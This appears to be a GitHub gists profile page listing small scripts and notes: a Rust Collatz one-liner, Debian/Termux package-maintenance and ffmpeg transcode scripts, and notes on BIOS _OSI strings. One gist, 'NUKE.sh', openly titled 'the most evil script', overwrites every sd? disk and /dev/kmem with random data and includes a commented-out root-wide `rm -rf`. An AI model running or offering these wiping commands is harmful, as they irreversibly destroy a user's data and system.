Skip to content

Instantly share code, notes, and snippets.

View Rudxain's full-sized avatar

Ricardo Fernández Serrata Rudxain

View GitHub Profile
fn main(){let mut n=7usize;while n!=0{print!("{n} ");n=[n*3+1,n/2][n%2]}}
@Rudxain
Rudxain / unnamed-math-mean.py
Created March 25, 2024 21:35
arbitrary way to compute an "average"
def fn(x, n):
return (x/n + x*n) / 2
@Rudxain
Rudxain / apt-autopurge-busybox-dupes
Created October 16, 2023 23:10
Marks as auto packs that installed same cmds as busybox subcmds, then autopurges. https://wiki.debian.org/ReduceDebian#Use_busybox_built-ins_instead_of_full_packages
#!/bin/bash
set -euf -o pipefail
# to-do:
# filter cmds that belong to "Essential" & "Required" packs,
# for optimization.
readonly bb="$(busybox --list)"
readonly c="$(wc -l <<< "$bb")"
i=0
@Rudxain
Rudxain / setup-env.sh
Last active October 5, 2023 04:45
Initialize minimal Debian-based distro clean-install. Also compatible with Termux
#!/bin/bash
set -euf
readonly HELP='$1 must be a path to a file
that contains old output from:
`apt-mark showmanual`
'
if [[ $# -lt 1 ]]
then
@Rudxain
Rudxain / transcode-mp4-to-h.265
Last active October 4, 2023 00:14
Conditionally optimizes MP4s in-place
#!/bin/sh
set -euf
codec="$(ffprobe -loglevel error -select_streams v:0 -show_entries stream=codec_name -of default=nw=1:nk=1 -- "$1")"
if [ "_$codec" = _hevc ]
then exit 0
fi
ffmpeg -i "$1" -movflags use_metadata_tags -c:v libx265 -c:a copy -- "${1}.tmp.mp4" \
&& mv -- "${1}.tmp.mp4" "$1"
# `set -e` won't work if this is used as a `parallel` callback
@Rudxain
Rudxain / dpkg-list-essential
Last active October 3, 2023 23:38
List packs marked as "Essential"
#!/bin/sh
set -ef
dpkg-query -Wf '${Package;-40}${Essential}\n' \
| grep yes \
| awk '{print $1}'
@Rudxain
Rudxain / termux-is-screen-off
Created October 3, 2023 22:45
Termux polyfills that I rarely use
#!/bin/sh
set -f
[ -n "$(dumpsys deviceidle | grep mScreenOn=false)" ]
@Rudxain
Rudxain / _osi = UA.md
Last active May 1, 2024 01:19
BIOS user agents

TIL that the _OSI function serves a similar purpose to User-Agent strings. Not just that, but it has the same funny pitfalls:

  • Operating Systems fake being Windows via _OSI.
  • Browsers fake being each other via UA.

https://askubuntu.com/a/50776

@Rudxain
Rudxain / NUKE.sh
Last active September 28, 2023 20:51
The most evil script
#!/bin/sh
# this may be useless
#sudo rm -rf --no-preserve-root / &
find /dev -maxdepth 1 -iname 'sd?' \
| \
parallel sudo cp /dev/urandom {}
sudo cp /dev/urandom /dev/kmem
@Rudxain
Rudxain / weird slow BIOS issue.md
Last active September 28, 2023 19:13
That one time I witnessed a slow POST

Some months ago, I turned on a Gateway GM5478, and it took suspiciously long to POST. I waited some minutes and it began slowly scanning the Gateway logo, pixel by pixel, line by line.

I suspect this happened because the clock-multiplier became no-op.

I still can't believe I witnessed such a "1 in a million" event. I wish I recorded it, because it only happened once